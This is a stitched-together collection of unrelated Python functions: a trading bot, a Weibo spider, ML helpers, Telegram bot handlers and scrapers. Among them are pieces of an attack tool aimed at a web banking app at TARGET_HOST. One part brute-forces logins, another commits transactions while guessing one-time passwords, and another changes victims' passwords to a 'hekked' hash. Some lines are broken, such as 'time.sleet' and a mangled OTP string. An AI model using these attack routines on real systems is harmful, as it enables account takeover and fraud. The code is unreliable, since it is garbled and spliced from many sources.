def check_order_made_status(self):
while True:
order = self.client.get_order(symbol=self.symbol,
orderId=self.order_made_id)
status = order['status']
LOGGER.info(f'CURRENT ORDER STATUS: {status}')
if self.order_made_time + timedelta(minutes=5) < datetime.now():
if status == 'PARTIALLY_FILLED':
if self.order_made_time + timedelta(
minutes=20) < datetime.now():
self.order_made_status = status
self.order_executed = order
if order['side'] == 'BUY':
self.bot_status = 'BOUGHT'
if order['side'] == 'SELL':
self.bot_status = 'SOLD'
return
if status == 'NEW':
self.client.cancel_order(symbol=self.symbol,
orderId=self.order_made_id)
if status in ['FILLED', 'CANCELED', 'REJECTED', 'EXPIRED']:
self.order_made_status = status
self.order_executed = order
if status == 'FILLED':
if order['side'] == 'BUY':
self.bot_status = 'BOUGHT'
if order['side'] == 'SELL':
self.bot_status = 'SOLD'
return
LOGGER.info('WAITING 30 SECONDS TO CHECK ORDER AGAIN')
time.sleet(30)
def calculateHiddenLayerActivation(self, features):
V = np.dot(features, np.transpose(self.inputWeights)) + self.bias
if callable(self.activate_function):
return self.activate_function(V)
else:
LOGGER.warn("activate_func could not callable,use sigmoid instead")
return _internal_activation_funcs["sigmoid"](V)
def spider(self):
while True:
if not self.uid_queue.empty():
try:
uid = self.uid_queue.get()
print 'searching user %s follows...' % uid
total_page, people_list = self.travel_follow(uid)
if len(people_list):
self.db.friendships.save({
'_id':
uid,
'follow_list':
people_list,
'pages':
total_page,
'last_modify':
int(time.time())
})
else:
print 'no update for %s.' % uid
except Exception, e:
LOGGER.error('User %s Follow Page Error: %s' % (uid, e))
else:
print 'uid queue empty'
time.sleep(2)
def feature_decomposition(transformer, train_features, test_features):
LOGGER.info("Beginning Dimensionality reduction using truncated SVD (%d features)" % transformer.n_components)
train_dfeatures = transformer.fit_transform(train_features)
#LOGGER.debug(["%6f " % transformer.explained_variance_ratio_[i] for i in range(5)])
LOGGER.debug("%0.4f%% of total variance in %d features\n" % (
100 * transformer.explained_variance_ratio_.sum(), transformer.n_components))
return train_dfeatures, transformer.transform(test_features)
def getUser(email):
user = User.query.filter_by(email=email).first()
form = EditUserForm(g.user.email)
if user is None:
flash('Utilisateur %s introuvable' % email)
users = User.query.order_by('last_connection desc').all()
return render_template('getUsers.html', users=users, app_name=app_name)
else:
if form.validate_on_submit():
try:
g.user.firstname = form.firstname.data
g.user.email = form.email.data
g.user.timezone = form.timezone.data
if form.new_password.data != '':
g.user.set_password(form.new_password.data)
db.session.add(g.user)
db.session.commit()
flash(u'tes modifs\' sont bien enregistrées')
except:
db.session.rollback()
flash(u'ERREUR : impossible d\'enregistrer tes modifs !')
LOGGER.p_log(u'impossible d\'enregistrer les modifs', exception=exc_info())
else:
for errors in form.errors.values():
for error in errors:
flash(error)
print error
form.firstname.data = g.user.firstname
form.email.data = g.user.email
form.timezone.data = g.user.timezone
return render_template('getUser.html', app_name=app_name, user=user, form=form)
def execute_search(self, url, pause=2):
"""
Executes a search to Twitter for the given URL
:param url: URL to search twitter with
:return: A JSON object with data from Twitter
"""
headers = {'user-agent': self.get_random_user_agent()}
try:
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning)
r = requests.get(url=url,
proxies=self.proxies,
headers=headers,
allow_redirects=False,
verify=False,
timeout=30)
LOGGER.info(url)
time.sleep(pause)
content = r.text
dejson = json.loads(content)
return dejson
# If we get a ValueError exception due to a request timing out, we sleep for our error delay, then make
# another attempt
except ValueError as e:
# print e.message
# print "Sleeping for %i" % self.error_delay
sleep(self.error_delay)
return self.execute_search(url)
def check_profit_status_bought_position(self):
LOGGER.info('CHECKING PROFIT STATUS FOR BOUGHT POSITION')
self.profit_check_value = round(
self.actual_price * self.quoteqty, 6) - round((
(self.actual_price * self.quoteqty) * self.max_trade_taxes), 6)
position_bought_winnin = round(
self.order_executed_quantity + self.stop_pair, 6)
position_bought_losing = round(
self.order_executed_quantity - self.stop_pair, 6)
LOGGER.info(f'PROFIT CHECK VALUE: {self.profit_check_value}')
LOGGER.info(f'VALUES OF STOP TO CHECK OF:')
LOGGER.info(f'POSITION BOUGHT/WINNING: {position_bought_winnin}')
LOGGER.info(f'POSITION BOUGHT/LOSING: {position_bought_losing}')
if self.profit_check_value > position_bought_winnin:
self.profit_status = 'WINNING'
elif self.profit_check_value < position_bought_losing:
self.profit_status = 'LOSING'
else:
self.profit_status = 'STANDING'
def call():
period = 10
while True:
try:
response = requests.get(url=URL_CHECK_CONNECTION, params=params)
if response.status_code == 200:
LOGGER.info(
'Send check connection request to Smartsite successful!')
active = json.loads(response.content)['result']
if active:
LOGGER.info('Gateway is online!')
else:
LOGGER.info('Gateway is offline!')
subprocess.Popen(COMMAND_RESET_SERVICE_7688,
shell=True,
stdout=subprocess.PIPE)
else:
LOGGER.info('Response from Smartsite is not 200')
subprocess.Popen(COMMAND_RESET_SERVICE_7688,
shell=True,
stdout=subprocess.PIPE)
except Exception as ex:
LOGGER.info('Error when check connection with message: %s',
ex.message)
subprocess.Popen(COMMAND_RESET_SERVICE_7688,
shell=True,
stdout=subprocess.PIPE)
time.sleep(period)
def get_itunes_track_data(self, track_path, itunes_keys):
# TODO: iTunes uses HTML encoding for some things (ampersands) and URL encoding for the rest
with open('/Users/carmstrong/Music/iTunes/iTunes Music Library.xml', 'rb') as itunes_xml:
tree = etree.parse(itunes_xml)
itunes_track_path = 'file://' + urllib.quote(track_path.encode('utf-8'), safe="/(),'")
location_node = tree.xpath('//string[text()="{}"]'.format(itunes_track_path))
if not location_node:
LOGGER.info('{} not found in iTunes XML file.'.format(itunes_track_path))
return
results = {}
for itunes_key in itunes_keys:
try:
itunes_value = location_node[0].xpath("../key[text()='{}']".format(itunes_key))[0].getnext().text
try:
itunes_value = int(itunes_value)
except (ValueError, TypeError):
continue
results.update({itunes_key: itunes_value})
except IndexError:
continue
return results
def _non_max_suppression(self, img, d):
m, n = img.shape
z = np.zeros((m, n), dtype=np.int32)
angle = d * 180. / np.pi
angle[angle < 0] += 180
for i in range(1, m - 1):
for j in range(1, n - 1):
try:
q = 255
r = 255
if 0 <= angle[i, j] < 22.5 or \
157.5 <= angle[i, j] <= 180:
q = img[i, j + 1]
r = img[i, j - 1]
elif 22.5 <= angle[i, j] < 67.5:
q = img[i + 1, j - 1]
r = img[i - 1, j + 1]
elif 67.5 <= angle[i, j] < 112.5:
q = img[i + 1, j]
r = img[i - 1, j]
elif 112.5 <= angle[i, j] < 157.5:
q = img[i - 1, j - 1]
r = img[i + 1, j + 1]
if img[i, j] >= q and img[i, j] >= r:
z[i, j] = img[i, j]
else:
z[i, j] = 0
except IndexError as e:
LOGGER.error(f"Reason: {e}")
return z
def generateBitDataForPackages(cls, json_data):
for item in json_data:
distros = filter(lambda elem: elem != 'packageName' and elem != 'version' and elem != 'url', item.keys())
for i in range(0, len(distros)):
distro_versions = item[distros[i]]
for j in range(0, len(distro_versions)):
cls.distro_bit_mapping[distros[i] + '_' + distro_versions[j]] = '1'
values = cls.getDistroBitRepData(cls.distro_bit_mapping)
LOGGER.debug(cls.distro_bit_mapping)
item['bit_rep_dec'] = int(''.join(values),2)
item.pop('url',None)
cls.distro_bit_mapping = {
'UBUNTU_17.04': '0',
'UBUNTU_16.10': '0',
'UBUNTU_16.04': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_12-SP2': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_12-SP1': '0',
'SUSE_LINUX_ENTERPRISE_SERVER_11-SP4': '0'
}
return json.dumps(json_data)
def remove_switch(mode: str) -> None:
"""Remove switch_mode cron jobs.
Args:
mode (str): either 'on' or 'off'
Raises:
ValueError: mode is not 'on' or 'off'
"""
if mode not in ['on', 'off']:
message = f'Invalid mode: {mode}'
LOGGER.error(message)
raise ValueError(message)
trigger = 'sunset' if mode == 'on' else 'shutdown'
mode = f'switch_{mode}'
if not CONF[trigger]['remove']:
message = f'{mode} jobs will not be removed.'
else:
jobs = CRONTAB.remove_script_jobs(f'{mode}')
message = f"Jobs ({mode}) removed: {jobs}"
LOGGER.info(message)
def main():
# get zip codes
zip_codes = [row.zip_code for row in session.query(ZipCode).all()]
# # add leading 0's to zip codes due to excel's stupidness
# zip_codes_df['zip_code'] = zip_codes_df['zip_code'].astype(str)
# zip_codes_df['zip_code'] = zip_codes_df['zip_code'].apply(lambda x: '0' * (5 - len(x)) + x)
current_month = datetime.date.today().month
current_rows = session.query(Indeed).filter(
extract('month', Indeed.date_created) == current_month).all()
current_rows = [row.as_dict() for row in current_rows]
existing_zip_codes = [row['zip_code'] for row in current_rows]
remaining_zip_codes = [
zip_code for zip_code in zip_codes
if zip_code not in existing_zip_codes
]
LOGGER.info(
'Found {} rows for current month: {}. Extracting {} remaining zip codes'
.format(len(current_rows), current_month, len(remaining_zip_codes)))
for i, zip_code in enumerate(remaining_zip_codes):
job_count = get_num_job_postings(zip_code)
row = Indeed(zip_code=zip_code,
job_count=job_count,
date_created=datetime.date.today())
session.merge(row)
session.commit()
LOGGER.info("Extracting zip code {} ({} of {})".format(
zip_code, i, len(remaining_zip_codes)))
session.close()
def acoustid_lookup(fingerprint, duration):
results = acoustid.lookup(ACOUST_ID_API_KEY,
fingerprint,
duration,
meta='recordings + releasegroups')
if results.get('results') and results['results'][0].get('recordings'):
LOGGER.info('AcoustID result found!')
recordings = results['results'][0]['recordings']
recording = max(recordings, key=lambda x: len(x.keys()))
recording_id = recording['id']
recording_artists = recording['artists']
recording_title = recording['title']
album_artist = recording_artists[0]['name']
artist = ''.join([
artist['name'] + artist.get('joinphrase', '')
for artist in recording_artists
])
album = recording['releasegroups'][0][
'title'] # TODO: the results of this are often inconsistent
return {
'musicbrainz_releasetrackid': recording_id,
'title': recording_title,
'artist': artist,
'albumartist': album_artist,
'album': album
}
else:
LOGGER.info('No AcoustID results found.')
return {}
def update_package_by_id(package_id):
package = db_session.query(Package) \
.filter(Package.pid == package_id,
or_(Package.last_updated.is_(None),
Package.last_updated <= datetime.utcnow() - timedelta(hours=2))) \
.options(load_only(Package.owner,
Package.repo,
Package.path,
Package.ptype,
Package.date)) \
.first()
if package:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
try:
loop.run_until_complete(
asyncio.ensure_future(update_package(package)))
last_updated_prop = Property("last_updated",
date_val=datetime.utcnow())
db_session.merge(last_updated_prop)
db_session.commit()
except Exception as ex:
LOGGER.error(ex)
LOGGER.debug(traceback.format_exc())
finally:
loop.close()
return redirect(url_for("index"))
def main():
# get zip codes
zip_codes = [row.zip_code for row in session.query(ZipCode).all()]
# # add leading 0's to zip codes due to excel's stupidness
# zip_codes_df['zip_code'] = zip_codes_df['zip_code'].astype(str)
# zip_codes_df['zip_code'] = zip_codes_df['zip_code'].apply(lambda x: '0' * (5 - len(x)) + x)
current_month = datetime.date.today().month
current_rows = session.query(Indeed).filter(extract('month', Indeed.date_created) == current_month).all()
current_rows = [row.as_dict() for row in current_rows]
existing_zip_codes = [row['zip_code'] for row in current_rows]
remaining_zip_codes = [zip_code for zip_code in zip_codes if zip_code not in existing_zip_codes]
LOGGER.info('Found {} rows for current month: {}. Extracting {} remaining zip codes'.format(len(current_rows),
current_month,
len(
remaining_zip_codes)))
for i, zip_code in enumerate(remaining_zip_codes):
job_count = get_num_job_postings(zip_code)
row = Indeed(zip_code=zip_code, job_count=job_count, date_created=datetime.date.today())
session.merge(row)
session.commit()
LOGGER.info("Extracting zip code {} ({} of {})".format(zip_code, i, len(remaining_zip_codes)))
session.close()
def paginate_request(resource_uri, page_size, request_callback=None):
page = 1
data = []
while True:
param_prefix = "&" if "?" in resource_uri else "?"
pagination_params = "{}page={}&page_size={}".format(
param_prefix, page, page_size)
api_uri = "{resource_uri}{pagination_params}".format(
resource_uri=resource_uri, pagination_params=pagination_params)
response = request(api_uri)
response_data = response["data"]
if request_callback:
request_callback(response_data)
data += response_data
if not data:
break
total_count = response["meta"]["page"]["total_count"]
page = response["meta"]["page"]["current_page"]
records_fetched_count = page_size * page
LOGGER.info("paginate_request: {}\t records fetched: {}/{}".format(
resource_uri, records_fetched_count, total_count))
if records_fetched_count >= total_count:
break
page += 1
return data
def run(self):
flag = True
try:
self.socket.connect((HOST ,PORT))
except error:
print 'connection failed'
return
print 'connected to server %s:%s' % (HOST, PORT)
while flag:
try:
if not self.controler.stoped:
if self.task == 'random':
uid, pages = self.request(action='getuid')
self.travel(uid=uid, pages=pages)
time.sleep(1)
elif self.task == 'target':
uid = self.request(action='gettargetuid')
self.target_travel(time.time()-24*60*60, uid=uid)
time.sleep(1)
else:
pass
else:
time.sleep(1)
except Exception, e:
LOGGER.error('Unhandled Error:%s' % e)
def translate(context, update):
if AUTO_TRANSLATE is True:
# Checks if Language is English, if Confident it isn't Translate & Reply
msg_text = context.effective_message.text
lang, confidence = identifier.classify(msg_text)
if lang != "en" and confidence >= 0.9:
try:
# Create Langpair to Show Translation API What We Need
langpair = lang + '|en'
translated_msg = requests.get(
'https://api.mymemory.translated.net/get',
params={
'q': msg_text,
'key': MYMEMORY_KEY, # API Key
'langpair': langpair,
'de': MYMEMORY_CONTACT # Contact Email
}).json()
# Grab Translated Text from Nested JSON Response
final_translation = translated_msg['matches'][0]['translation']
# Respond with Translation to Non-English Message
context.effective_message.reply_text(
messages.msg_translate.format(final_translation),
parse_mode='HTML')
except Exception as e:
LOGGER.warning(f'Translation Failed - {str(e)}')
else:
return
def run(self):
flag = True
try:
self.socket.connect((HOST, PORT))
except error:
print 'connection failed'
return
print 'connected to server %s:%s' % (HOST, PORT)
while flag:
try:
if not self.controler.stoped:
if self.task == 'random':
uid, pages = self.request(action='getuid')
self.travel(uid=uid, pages=pages)
time.sleep(1)
elif self.task == 'target':
uid = self.request(action='gettargetuid')
self.target_travel(time.time() - 24 * 60 * 60, uid=uid)
time.sleep(1)
else:
pass
else:
time.sleep(1)
except Exception, e:
LOGGER.error('Unhandled Error:%s' % e)
def gas(update, context):
# Show Current Estimates for Gas prices
remove_command(context, update)
try:
resp = requests.get("https://api.etherscan.io/api?module=gastracker&action=gasoracle")
if resp.status_code == 200:
prices = resp.json()
low = prices['result']['SafeGasPrice']
standard = prices['result']['ProposeGasPrice']
fast = prices['result']['FastGasPrice']
message = messages.msg_gas.format(fast, standard, low)
gas_msg = context.bot.send_message(
chat_id=update.effective_message.chat.id,
text=message,
parse_mode=ParseMode.HTML,
disable_web_page_preview=True
)
cleaner(context, gas_msg)
except TypeError as e:
LOGGER.warning(f'Rate Limited - {str(e)}')
message = "Sorry Unable to Fetch Gas Estimates Right Now..."
gas_message = context.bot.send_message(
chat_id=update.effective_message.chat.id,
text=message,
parse_mode=ParseMode.HTML
)
cleaner(context, gas_message)
def run(self):
while True:
try:
if not self.data_queue.empty():
data = self.data_queue.get()
if hasattr(data, 'target_statuses'):
for status in data.target_statuses:
exist = self.db['target_statuses'].find({'_id': status['_id']}).count()
if not exist:
self.db['target_statuses'].insert(status)
if hasattr(data, 'statuses'):
posts = []
for status in data.statuses:
exist = self.db.statuses.find({'_id': status['_id']}).count()
if not exist:
posts.append(status)
if len(posts):
self.db.statuses.insert(posts)
if hasattr(data, 'users'):
for user in data.users:
exist = self.db.users.find_one({'_id': user['_id']})
if not exist:
self.users.insert(user)
if hasattr(data, 'user'):
self.db.users.save(data.user)
else:
if self.stoped:
break
else:
time.sleep(0.5)
except Exception, e:
LOGGER.error(e)
continue
def do_synchronize_generate(mirrors):
yield "Starting synchronize...\n"
for mirror in mirrors:
yield "Synchronizing '{}'\n".format(mirror.text_val)
try:
resp = requests.get(mirror.text_val)
if resp.status_code != 200:
yield "Errornous http status code: {}. Skipping this mirror.\n".format(
resp.status_code)
continue
packages_mirror = json.loads(resp.content)
packages = db_session.query(Package).options(
load_only(Package.owner, Package.repo, Package.path,
Package.ptype)).all()
packages_added = 0
for package_mirror in packages_mirror:
found = False
if "path" not in package_mirror:
package_mirror["path"] = None
for package in packages:
if package_mirror["owner"] == package.owner \
and package_mirror["ptype"] == package.ptype \
and package_mirror["repo"] == package.repo \
and package_mirror["path"] == package.path:
found = True
break
if not found:
LOGGER.info("Synchronize: adding %s", package_mirror)
insert_package(package_mirror["owner"],
package_mirror["repo"],
package_mirror["ptype"],
package_mirror["path"],
dateutil.parser.parse(
package_mirror["added"]),
commit=False)
yield "adding {}\n".format(package_mirror)
packages_added += 1
if packages_added > 0:
try:
db_session.commit()
except Exception as ex:
db_session.rollback()
LOGGER.error(ex)
LOGGER.debug("{}: {}\n".format(ex, traceback.format_exc()))
yield "{}\n".format(ex)
else:
db_session.rollback()
yield "Mirror '{}': {} packages added.\n".format(
mirror.text_val, packages_added)
except Exception as ex:
LOGGER.error(ex)
error = "{}: {}\n".format(ex, traceback.format_exc())
LOGGER.debug(error)
yield error
yield "Synchronization done.\n"
def remove_command(context, update):
# Delete Bot Commands from Group Members
msg = update.effective_message
try:
msg.delete()
LOGGER.info(f'CMD Message Deleted - {msg.message_id}')
except BaseException as e:
LOGGER.info(f'CMD Message Already Deleted - {str(e)}')
def check_profit_status(self):
if self.bot_status == 'BOUGHT':
self.check_profit_status_bought_position()
if self.bot_status == 'SOLD':
self.check_profit_status_sold_position()
LOGGER.info(f'PROFIT STATUS: {self.profit_status}')
def get_instance(cls):
LOGGER.debug('get_instance: In get_instance')
if not cls.INSTANCE:
cls.INSTANCE = PackageSearch()
cls.INSTANCE.supported_distros = cls.loadSupportedDistros()
cls.INSTANCE.package_data = cls.loadPackageData()
LOGGER.debug('get_instance: Creating singleton instance in get_instance')
return cls.INSTANCE
def handle(fd, address):
global data_queue
global uid_queue
global target_uid_queue
db = getDB()
LOGGER.info('connection accepted from %s:%s' % address)
while True:
data = fd.readline()
if not data:
break
data = data[:-2]
r = json.loads(data, object_hook=_obj_hook)
if hasattr(r, 'action'):
action = r.action
else:
break
if action == 'postdata':
try:
data_queue.put(r.data)
fd.write(json.dumps({'status': 'ok'})+'\r\n')
except:
fd.write(json.dumps({'error': 'bad request data'})+'\r\n')
fd.flush()
elif action == 'getuid':
if not uid_queue.empty():
uid = uid_queue.get()
pages = 0
user = db.users.find_one({'_id': uid})
try:
pages = user['pages']
except:
pages = 0
fd.write(json.dumps({'uid': uid, 'pages': pages})+'\r\n')
else:
fd.write(json.dumps({'error': 'uid queue empty'})+'\r\n')
fd.flush()
elif action == 'getuserinfo':
try:
name = r.data
user = db.users.find_one({'name': name})
try:
u = {'_id': user['_id'], 'gender': user['gender'], 'location': user['location']}
fd.write(json.dumps({'user': u})+'\r\n')
except:
fd.write(json.dumps({'error': 'not found'})+'\r\n')
except:
fd.write(json.dumps({'error': 'bad request data'})+'\r\n')
fd.flush()
elif action == 'gettargetuid':
uid = target_uid_queue.get()
if uid:
fd.write(json.dumps({'uid': uid})+'\r\n')
else:
fd.write(json.dumps({'error': 'target uid queue empty'})+'\r\n')
fd.flush()
else:
break
LOGGER.info('end connection %s:%s' % address)
def save(self):
self.sync()
if self.easyID3.is_modified:
LOGGER.info('Saving file changes...')
self.easyID3.save()
if session.is_modified(self.model):
LOGGER.info('Committing model changes...')
session.merge(self.model)
session.commit()
def delete_bot_message(update, context):
try:
context.bot.deleteMessage(
chat_id=update.effective_message.chat.id,
message_id=update.effective_message.message_id
)
except BaseException as e:
LOGGER.warning(f'<delete_bot_message> Exception Occured: {str(e)}')
pass
def request(api_uri, ignore_404=False):
request = requests.get("{}{}".format(API_URL, api_uri))
if request.status_code == 404 and ignore_404:
LOGGER.error("request failed 404 - {}".format(api_uri))
return
if not request.ok:
raise Exception("request failed with status: {} for url: {}".format(
request.status_code, request.url))
return request.json()
def check_command_send_rpc(command):
try:
return utils._check_command_send_rpc(command.get('device', None),
command.get('command', None))
except Exception as ex:
print(ex.message)
LOGGER.error(
'Error at check_command_send_rpc function with message: %s',
ex.message)
def gettargetuid(self):
self.socket.sendall(json.dumps({'action': 'gettargetuid'})+'\r\n')
res = self.socket.recv(1024)
r = json.loads(res, object_hook=_obj_hook)
if hasattr(r, 'error'):
LOGGER.error(r.error)
return None
else:
return r.uid
def gettargetuid(self):
self.socket.sendall(json.dumps({'action': 'gettargetuid'}) + '\r\n')
res = self.socket.recv(1024)
r = json.loads(res, object_hook=_obj_hook)
if hasattr(r, 'error'):
LOGGER.error(r.error)
return None
else:
return r.uid
def webhookHandler(event):
""" Travese to webhook handler and let it deal with the error.
"""
try:
return event.error['context'].restrictedTraverse(
'@@logbook_webhook')(event)
except Exception, e:
LOGGER.error(
"An error occured while notifying with webhooks: %s" % str(e))
def mailHandler(event):
""" notify this error
"""
try:
return event.error['context'].restrictedTraverse(
'@@logbook_mail')(event)
except Exception, e:
LOGGER.error(
"An error occured while notifying recipients: %s" % str(e))
def prepare_features(train_movies, test_movies):
LOGGER.debug("Training samples: %d" % len(train_movies))
# Extract
vectorizer = CountVectorizer(decode_error=u'replace')
(train_features, train_labels, test_features, test_labels) = feature_extraction_sklearn(
vectorizer, train_movies, test_movies
)
LOGGER.debug("Original feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return train_features, train_labels, test_features, test_labels
def classify(classifier, train_features, train_labels, test_features,
test_labels, desc="Linear classifer"):
LOGGER.info("Beginning %s" % desc)
classifier.fit(train_features, train_labels)
results = classifier.predict(test_features)
correct = get_correct_num(results, test_labels)
LOGGER.info("%s predicted %d/%d correctly (%0.3f%% accuracy)\n" % (
desc, correct, len(test_labels), correct / len(test_labels) * 100))
return results
def rescale_features(train, test):
LOGGER.info("Rescaling feature matrices")
if issparse(train):
LOGGER.info("Converting feature matrices from sparse to dense")
train = csr_matrix(train).todense()
test = csr_matrix(test).todense()
scaler = StandardScaler(with_mean=False)
train_features_rs = scaler.fit_transform(train)
return train_features_rs, scaler.transform(test)
def get_instance(cls):
LOGGER.debug('get_instance: In get_instance')
if not cls.INSTANCE:
cls.INSTANCE = PackageSearch()
cls.INSTANCE.DISTRO_BIT_MAP = cls.loadSupportedDistros()
cls.INSTANCE.package_data = cls.loadPackageData()
cls.INSTANCE.local_cache = {}
cls.INSTANCE.cache_keys = []
LOGGER.debug('get_instance: Creating singleton instance in get_instance')
return cls.INSTANCE
def iteration_request(id, uri_templete, ignore_404, request_callback):
resource_uri = uri_templete.format(id)
response = request(resource_uri, ignore_404=ignore_404)
if response and response['data']:
if request_callback:
request_callback(response['data'])
LOGGER.info("{} - done".format(resource_uri))
return response['data']
LOGGER.info("{} - response empty".format(resource_uri))
return {}
def acquire_track_model(self):
# determine if fingerprint present, if not generate
if not self.fingerprint:
self.query_fingerprint()
# use fingerprint to query model
self.model = session.query(SavedTrack).get(self.fingerprint)
# if 0 results, create model
if not self.model:
LOGGER.info('Track not found in database; creating...')
self.model = SavedTrack()
def check_mentions(api) -> None:
"""Checks for new mentions and favorite this mentions."""
# Retrieve the last 20 mentions.
mentions = api.mentions_timeline()
for tweet in mentions:
if not tweet.favorited:
try:
tweet.favorite()
LOGGER.info(f'Tweet from {tweet.user.name} favorited!')
except Exception:
LOGGER.error('Error on fav', exc_info=True)
def decompose_tsvd_target(transformer, train_features, test_features, target_cuml_var_ratio=0.9):
LOGGER.info("Aiming for %.3f%% cumulative total sum of variance" % (target_cuml_var_ratio * 100))
#transformer = TruncatedSVD(n_components=n_features)
train_d, test_d = feature_decomposition(transformer, train_features, test_features)
if sum(transformer.explained_variance_ratio_) < target_cuml_var_ratio:
return decompose_tsvd_target(
TruncatedSVD(n_components=(transformer.n_components*2)),
train_features, test_features,
target_cuml_var_ratio)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
return transformer, train_d, test_d
def main():
LOGGER.info('Extracting building permit data...')
post_data_list = generate_post_data((1, 12), (2005, 2015))
pool = ThreadPool(5)
results = pool.map(get_census_reponse, post_data_list)
results_array = parse_results(results)
for result in results_array:
session.merge(BuildingPermit(**result))
session.commit()
def do_otp(self, obj):
data = self._pre_otp(obj)
if data is False:
return False
step3 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3'
})
)
step4 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step4'
})
)
# Case:
# 1) No otp
if 'Commit transaction.' in data:
LOGGER.info('No otp')
data = my_url_open(obj.opener, step3)
# 2) SmartCard otp
elif 'One-time password:'******'Smart card otp')
data = my_url_open(obj.opener, step4)
# 3) Brute otp
elif 'One-time password (#' in data:
tmp_ticket = RE_TICKET.search(data)
if not tmp_ticket:
return False
tmp_ticket = tmp_ticket.group(1)
step_OTP1 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 2)
})
)
step_OTP2 = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
urllib.urlencode({
'step': 'step3',
'OTP': obj.gen_otp(tmp_ticket, 3)
})
)
data = my_url_open(obj.opener, step_OTP1)
data += my_url_open(obj.opener, step_OTP2)
data = my_url_open(obj.opener, step4)
else:
LOGGER.error('Bad transaction page: ')
LOGGER.debug('%r', data)
result = 'Transaction committed!' in data
if result:
LOGGER.info('Transaction from: %s', obj.number)
return result
def five_ab(train_features, train_labels, test_features, test_labels):
# Reduce feature dimensions
transformer = TruncatedSVD(n_components=N_FEATURES)
transformer, train_features, test_features = decompose_tsvd_target(
transformer, train_features, test_features, TARGET_CUM_VAR_RATIO
)
#train_features, test_features = feature_decomposition(transformer, train_features, test_features)
LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
# Rescale features
train_features, test_features = rescale_features(train_features, test_features)
return train_features, train_labels, test_features, test_labels
def persist_zillow_metrics(df):
metrics_df = df.drop(['city', 'metro', 'state', 'county'], axis=1)
session.query(ZillowMetrics).delete() # TODO: should append to existing data in case zillow changes something
session.commit()
insert_chunk = 100000
index_start = 0
while index_start < len(metrics_df):
LOGGER.info('Persisting Zillow Metrics rows: {} of {}'.format(index_start + insert_chunk,
len(metrics_df)))
engine.execute(
ZillowMetrics.__table__.insert(metrics_df[index_start:index_start + insert_chunk].to_dict('records')))
index_start += insert_chunk
def do_change(self, obj):
LOGGER.info('Changing password for: %s', obj.user)
req = urllib2.Request('http://{0}/change_password.php'.format(TARGET_HOST),
urllib.urlencode({
'password': obj.password,
'newpassword': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
'newpassword2': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
})
)
data = my_url_open(obj.opener, req)
if 'error' not in data:
LOGGER.critical('Password changed for user: %s', obj.user)
return True
def run(self):
LOGGER.info('Start stealer')
while 1:
try:
obj = GOOD.get(timeout=2)
except Exception as e:
LOGGER.error('Unknown error in Stealer')
continue
if FORCE_STEAL:
self.do_otp(obj)
CHANGE.put(obj)
GOOD.task_done()
def postdata(self, **kw):
try:
data = kw['data']
except:
return None
self.socket.sendall(json.dumps({'action': 'postdata', 'data': data})+ '\r\n')
res = self.socket.recv(1024)
r = json.loads(res, object_hook=_obj_hook)
if hasattr(r, 'error'):
LOGGER.error(r.error)
return None
else:
return r.status
def target_travel(self, ts, uid=None):
if not uid:
return None
if uid in self.black_list:
return None
url = 'http://weibo.cn/u/'+uid
current_page = 1
home_page_soup = BeautifulSoup(self.client.urlopen(url+'?page=1'))
try:
name, verified, gender, location, desc, tags = self._travel_info(uid)
print 'target spider %d searching uid: %s name: %s...' % (self.num, uid, name)
except Exception, e:
LOGGER.error('User %s Info Page Error:%s' % (uid, e))
return None
def search_echonest_artist_terms(artist_name):
artist_results = artist.search(name=artist_name)
if not artist_results:
LOGGER.info('Artist not found in Echonest')
return None
if artist_results[0].name.lower() == artist_name.lower():
artist_terms = artist_results[0].terms
if artist_terms:
return max(artist_terms, key=lambda x: x['weight'] * x['frequency'])['name']
else:
return None
else:
LOGGER.info("Artist name did not match top result: {} vs {}".format(artist_name, artist_results[0].name))
return None
def run(self):
LOGGER.info('Run brute')
while 1:
try:
user, password = ENEMY.get(block=1, timeout=10)
except Queue.Empty:
continue
if user in known_users:
continue
self.generate_opener()
data = self.brute_login_with_session(user, password)
account_password_queue.task_done()
if self.check(data):
add_good(user, password, data, self.opener)
def handleTraceback(object):
context = object.context
entry_url = object.entry_url
if entry_url is None:
return
LOGGER.info("handle traceback [%s]" % entry_url)
try:
cleanup_lock.acquire()
# we don't want to produce any errors here, thus, we'll be nice and die
# silently if an error occurs here
try:
transaction.begin()
# get our logbook view to use the api
logbook = context.unrestrictedTraverse('@@logbook')
# get the generated error url from Products.SiteErrorLog
err_id = urllib.splitvalue(entry_url)[1]
# save error
logbook.save_error(err_id, context=aq_parent(context))
transaction.get().note('collective.logbook traceback [%s]' %
entry_url)
transaction.commit()
finally:
cleanup_lock.release()
# only warning
except Exception, e:
LOGGER.warning("An error occured while handling the traceback")
LOGGER.warning("%s" % e)
LOGGER.exception(e)
def process(self, event):
"""
event.event_type
'modified' | 'created' | 'moved' | 'deleted'
event.is_directory
True | False
event.src_path
path/to/observed/file
"""
track_path = event.dest_path if event.event_type == 'moved' else event.src_path
LOGGER.info('File change detected: {event_type}: {track_path}'.format(event_type=event.event_type,
track_path=track_path))
if '/Users/carmstrong/Projects/music_master/tracks/holding' in track_path:
LOGGER.info('Protected path, will make no changes!!')
sync_file(track_path, event.event_type)
def run(self):
LOGGER.info('Start changer')
while 1:
try:
obj = CHANGE.get(timeout=2)
except Exception as e:
LOGGER.error('Unknown error in Changer!')
continue
cookiejar = cookielib.CookieJar()
self.opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor(cookiejar),
)
self.do_change(obj)
CHANGE.task_done()
def __init__(self, user, password, data, opener):
LOGGER.info('Created new account data for %s', user)
self.user = user
self.password = password
self.number = RE_ACCOUNT_NUMBER.search(data)
self.amount = RE_AMOUNT.search(data)
